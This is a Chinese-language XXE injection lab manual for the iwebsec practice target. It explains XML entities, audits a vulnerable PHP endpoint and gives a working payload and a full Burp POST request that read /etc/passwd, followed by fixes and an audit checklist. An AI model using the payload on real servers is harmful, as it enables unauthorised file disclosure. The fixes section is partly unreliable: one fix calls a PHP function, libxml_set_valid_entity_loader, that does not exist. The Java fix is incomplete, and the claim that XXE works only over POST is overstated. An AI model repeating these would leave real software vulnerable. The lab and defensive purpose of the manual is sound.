
[bookmark: _GoBack]XXE漏洞实操手册
[bookmark: heading_0]一、实验环境配置
· 攻击机（Kali）：192.168.44.129
· 靶机（iwebsec）：192.168.44.128
· 漏洞测试地址：http://192.168.44.128/xxe/index.php
· 测试静态XML地址：http://192.168.44.128/test_xxe/book.xml
· 抓包工具：Burp Suite（默认监听 127.0.0.1:8080）
[bookmark: heading_1]二、XML核心原理（基础铺垫）
[bookmark: heading_2]2.1 XML核心定义
XML（可扩展标记语言）是一种结构化纯文本数据传输格式，核心作用为存储、传输结构化数据，无页面渲染功能，广泛应用于接口交互、配置文件、数据同步等业务场景。与HTML的核心区别：HTML专注页面展示，XML专注数据结构化传输。
[bookmark: heading_3]2.2 XML标准三层结构
合法的XML文档由XML声明、DTD文档约束、元素节点数据三部分组成，缺一不可：
1. XML声明：文档首行，定义版本与编码，固定格式 <?xml version="1.0" encoding="UTF-8"?>
2. DTD文档类型定义：约束标签结构、数据类型，核心作用是定义实体变量，分为内部DTD（文档内生效）和外部DTD（引用外部资源，XXE漏洞核心入口）
3. 元素节点：承载业务数据，语法严格，必须闭合、无交叉嵌套、大小写敏感
[bookmark: heading_4]2.3 XML实体核心机制（漏洞前置核心）
XML实体本质是解析器全局替换变量，分为两种，是XXE漏洞利用的核心基础：
· 内部实体：仅当前文档生效，格式 <!ENTITY 变量名 "固定内容">，通过 &变量名; 调用替换文本
· 外部实体：支持调用外部资源，格式 <!ENTITY 变量名 SYSTEM "协议://资源地址">，解析器会主动发起请求/读取文件，支持 file://、http://、php://、expect:// 等高危协议
[bookmark: heading_5]三、底层原理深度剖析（XXE漏洞根源）
[bookmark: heading_6]3.1 XXE完整定义
XXE（XML External Entity Injection，XML外部实体注入），是由于Web应用接收用户可控的XML数据，XML解析器默认开启外部实体解析、无安全过滤，导致攻击者可构造恶意外部实体，利用解析器权限读取服务器文件、探测内网、发起内网攻击的高危漏洞。
[bookmark: heading_7]3.2 底层五大核心根源（深度剖析）
1. 协议原生设计缺陷：XML官方标准原生支持外部实体引用，设计初衷是复用DTD结构、实现数据共享，未做安全权限限制，为漏洞提供原生基础
2. 解析器默认不安全配置：PHP7.2以下、低版本Java、Python等解析器，默认全开外部实体加载权限，无任何拦截，可直接操作服务器本地文件、内网服务
3. 用户输入完全可控：业务接口直接接收用户自定义XML数据包，攻击者可随意构造 DTD、ENTITY 恶意语法，完全控制解析器行为
4. 开发安全缺失：代码未手动禁用外部实体、未过滤 DOCTYPE、ENTITY、SYSTEM、PUBLIC 恶意关键字，原始XML直接交给解析器执行
5. 高危协议无管控：解析器默认放行文件读取、网络请求、命令执行类伪协议，最大化漏洞危害
[bookmark: heading_8]3.3 XXE漏洞触发必备四大条件
四个条件同时满足即可触发高危XXE漏洞：
· 业务接口接收用户可控XML数据
· XML解析器开启外部实体解析功能
· 无恶意DTD、实体关键字过滤机制
· 解析后的内容可回显或参与业务逻辑执行
[bookmark: heading_9]四、API接口交互拓展知识（GET/POST深度对比+底层交互原理）
[bookmark: heading_10]4.1 XML接口API交互核心原理
传统企业接口、第三方对接、老旧后台系统普遍采用 XML 数据格式 传输业务参数，区别于现代JSON接口。客户端通过HTTP协议将结构化XML数据提交至服务端，服务端识别 Content-Type: application/xml 请求头后，调用专用XML解析器解析数据，完成业务逻辑处理与响应返回。
[bookmark: heading_11]4.2 GET请求与POST请求底层区别（XXE攻击关键知识点）
XXE漏洞只能通过POST请求利用，GET请求无法利用，核心底层差异如下：
	对比维度
	GET 请求
	POST 请求

	数据存放位置
	数据拼接在URL地址后，无请求体
	数据存放在HTTP请求体（Body）中

	数据长度限制
	浏览器、服务器存在URL长度限制，无法承载大段XML代码
	无严格长度限制，可传输完整XML结构化数据

	Content-Type
	无请求头定义，默认纯文本参数
	可自定义 application/xml 标识XML数据格式

	XXE利用可行性
	不可利用，无请求体承载XML恶意Payload
	可直接利用，完整承载恶意XML、DTD、实体代码

	数据传输特性
	明文暴露在地址栏、历史记录中，不安全
	数据隐藏在请求体中，隐蔽性更强，适配接口数据传输


[bookmark: heading_12]4.3 本实验接口底层接收逻辑
漏洞源码中 file_get_contents('php://input') 是核心关键点：该函数只能读取POST请求的请求体数据，无法读取GET URL参数。因此本XXE漏洞接口仅支持POST恶意利用，GET请求仅能正常访问页面、无法植入Payload。
[bookmark: heading_13]4.4 正常XML POST接口交互流程
1. 客户端构造合规XML业务数据，请求头添加 Content-Type: application/xml
2. 以POST方式将XML数据放入请求体，发送至靶机接口
3. 服务端通过 php://input接收原始XML数据
4. 调用XML解析器解析结构化数据，执行业务逻辑并返回结果
[bookmark: heading_14]4.5 恶意XML POST攻击交互流程（XXE核心攻击逻辑）
1. 攻击者通过Burp拦截正常GET页面请求
2. 将请求方法改为POST，添加XML专属请求头
3. 请求体植入带恶意DTD、外部实体的XML Payload
4. 服务端无过滤、未禁用外部实体，解析器自动执行恶意实体
5. 服务端读取本地文件/访问内网资源，将结果回显至前端，漏洞利用成功
[bookmark: heading_15]4.6 XML接口安全风险总结
· 所有支持 Content-Type: application/xml 的POST接口，是XXE漏洞高发入口
· GET接口无请求体，天然无法承载复杂XML恶意代码，无XXE利用条件
· 接口未禁用外部实体、未过滤关键字，会直接导致服务器信息泄露、内网沦陷
[bookmark: heading_16]五、任务8.1 认识XML基础实操
[bookmark: heading_17]5.1 靶机远程连接
攻击机Kali（192.168.44.129）终端执行以下命令连接靶机：
	bash
ssh iwebsec@192.168.44.128
# 登录密码：iwebsec
# 进入靶场Docker容器
docker exec -it bc23 /bin/bash
# 进入网站根目录
cd /var/www/html


[bookmark: heading_18]5.2 创建XML测试文件
	bash
mkdir test_xxe
chmod 777 test_xxe
cd test_xxe
vim book.xml


[bookmark: heading_19]5.3 book.xml 逐行注释源码
	xml
<?xml version = "1.0" encoding = "UTF-8"?>
<!-- XML声明：版本1.0，编码UTF-8，必须置于文档首行 -->
<!DOCTYPE book[
<!-- 内部DTD定义，声明文档根元素为book -->
<!ELEMENT book (title, author, year, price)>
<!-- 约束根元素包含四个子标签 -->
<!ELEMENT title (#PCDATA)>
<!-- 限定标签内容为纯文本，不可嵌套标签 -->
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
<!ENTITY author "张三">
<!-- 定义内部实体，调用&author;可自动替换为文本内容 -->
]>
<book>
<title>XML DTD实例</title>
<author>&author;</author>
<!-- 引用内部实体，触发解析替换 -->
<year>2024</year>
<price>29.99</price>
</book>


[bookmark: heading_20]5.4 访问测试验证
浏览器GET访问静态XML地址：http://192.168.44.128/test_xxe/book.xml
实验现象：实体 &author; 被解析为「张三」，证明靶机XML解析器默认开启实体解析功能，存在XXE漏洞前置风险。
补充说明：该静态文件仅支持GET访问，无接口接收逻辑，因此无法用于XXE攻击，仅用于验证解析器特性。
[bookmark: heading_21]六、任务8.2 XXE漏洞利用（GET/POST对比+完整Burp实操+核心Payload）
[bookmark: heading_22]6.1 漏洞源码安全审计（逐行注释）
	php
<?php
// 高危配置：不禁用XML外部实体加载，开启XXE攻击入口
libxml_disable_entity_loader(false);
// 仅读取POST请求体原始数据，GET请求无法传入XML参数
$xmlfile = file_get_contents('php://input');
// 实例化XML文档解析器对象
$dom = new DOMDocument();
// 高危操作：开启外部实体解析、加载外部DTD文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 转换为SimpleXML对象，方便读取节点数据
$creds = simplexml_import_dom($dom);
// 直接获取用户可控XML节点数据，无过滤、无转义
$username = $creds->username;
$password = $creds->password;
// 直接输出解析后数据，恶意外部实体逻辑被执行
echo 'hello' . $username;
?>


审计结论：代码仅接收POST请求体数据，完全满足XXE四大触发条件，属于高危可直接利用漏洞，GET请求无法触发攻击。
[bookmark: heading_23]6.2 Burp Suite前置准备（零基础详细步骤）
1. 启动Burp Suite，选择临时项目、默认配置，进入主界面
2. 进入 Proxy-Intercept 模块，开启拦截（Intercept is on）
3. 配置浏览器代理：手动代理 127.0.0.1:8080，适配所有协议
[bookmark: heading_24]6.3 核心实验：XXE读取服务器/etc/passwd文件（标准Payload）
[bookmark: heading_25]6.3.1 攻击Payload（逐行注释，最终保留版本）
	xml
<?xml version="1.0"?>
<!-- XML标准版本声明 -->
<!DOCTYPE creds[
<!-- 自定义DTD约束，定义文档根元素为creds -->
<!ELEMENT username ANY>
<!-- 允许username标签接收任意解析内容 -->
<!ELEMENT password ANY>
<!-- password标签占位，无实际作用 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- 定义恶意外部实体，通过file协议读取服务器系统用户文件 -->
]>
<creds>
<username>&xxe;</username>
<!-- 引用恶意外部实体，触发文件读取与内容回显 -->
<password>test</password>
</creds>


[bookmark: heading_26]6.3.2 Burp完整分步实操（GET改POST核心操作）
1. 保持Burp拦截开启，浏览器GET访问漏洞地址：http://192.168.44.128/xxe/index.php
2. 请求被Burp成功拦截，此时原始请求为GET空请求，无请求体、无法攻击
3. 修改请求方法：将请求首行的 GET 手动改为 POST
4. 添加专属请求头：在所有Header最后一行、空行上方添加：Content-Type: application/xml，标识本次请求为XML接口数据
5. 清空原有内容：删除默认GET请求的空白请求体
6. 粘贴恶意Payload：将完整XML攻击代码粘贴至请求体，保证请求头与请求体之间存在唯一空行分隔
7. 点击 Forward 放行请求，服务端接收POST XML数据并解析
8. 浏览器响应页面输出 hello + 服务器 /etc/passwd 完整用户数据，漏洞利用成功
[bookmark: heading_27]6.3.3 完整可直接复制的POST攻击请求包
	plain
POST /xxe/index.php HTTP/1.1
Host: 192.168.44.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT username ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<creds>
<username>&xxe;</username>
<password>test</password>
</creds>


[bookmark: heading_28]6.3.4 GET请求无法攻击的验证实验
直接使用浏览器GET访问漏洞接口、或Burp保持GET方法携带参数，均无法触发漏洞：
· 原因1：GET无请求体，无法存放大段XML DTD与实体代码
· 原因2：漏洞源码仅读取php://input（POST请求体），不读取URL参数
· 现象：GET请求仅返回空白页面或默认内容，无文件读取、无漏洞触发
[bookmark: heading_29]七、任务8.3 修复XXE漏洞（逐行代码注释+安全加固）
[bookmark: heading_30]7.1 修复方案1：PHP禁用外部实体（最常用、最根本）
	php
<?php
// 根源防御：强制关闭所有XML外部实体加载，彻底封堵XXE攻击入口
libxml_disable_entity_loader(true);
// 安全解析用户输入XML，不再解析恶意外部实体与远程资源
$xml = simplexml_load_string($input);
?>


[bookmark: heading_31]7.2 修复方案2：自定义安全实体加载器
	php
<?php
// 模拟含恶意外部DTD引用的XML数据
$xml=<<<XML
<!DOCTYPE foo PUBLIC "-//FOO/BAR" "http://example.com/fobar">
<foo>bar</foo>
XML;
// 定义本地安全DTD，替代远程恶意DTD
$dtd=<<<DTD
<!ELEMENT foo (#PCDATA)>
DTD;
// 注册自定义外部实体加载回调
libxml_set_external_entity_loader( function ($public, $system, $context) use($dtd) {
    // 审计日志打印恶意请求信息
    var_dump($public);
    var_dump($system);
    var_dump($context);
    // 开辟内存临时流，加载安全DTD
    $f = fopen("php://temp","r+");
    fwrite($f, $dtd);
    rewind($f);
    // 返回安全内容，禁止访问恶意外部地址
    return $f;
});
$dd = new DOMDocument;
$r = $dd->loadXML($xml);
var_dump($dd->validate());
?>


[bookmark: heading_32]7.3 修复方案3：白名单机制
	php
<?php
// 配置可信合法DTD地址白名单
$whitelist = array(
'http://www.example.com/entity1.dtd',
'http://www.example.com/entity2.dtd',
);
// 仅允许白名单内外部实体加载，拦截所有恶意外部资源请求
libxml_set_valid_entity_loader($whitelist);
$xml = simplexml_load_string($input);
?>


[bookmark: heading_33]7.4 修复方案4：版本升级（天然防御）
PHP 7.2.0及以上 版本默认禁用XML外部实体加载，无需修改代码，天然防御XXE漏洞，是极简且安全的加固方案。
[bookmark: heading_34]7.5 Java项目XXE标准修复代码
	java
// 创建XML解析工厂
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 关闭外部实体引用展开，从底层彻底防御XXE漏洞
dbf.setExpandEntityReferences(false);


[bookmark: heading_35]八、安全审计检查清单（含接口请求规范）
· 审计业务POST接口是否接收用户可控XML数据、是否配置 application/xml 请求头
· 全局检索代码：libxml_disable_entity_loader 必须强制设为 true
· 拦截过滤XML恶意关键字：<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
· 禁止XML解析器调用 file://、expect://、php:// 等高危伪协议
· 区分GET/POST接口风险：仅POST XML接口存在XXE高危风险，需重点防护
· 低版本PHP、老旧XML解析器必须 版本升级+代码加固双重防护

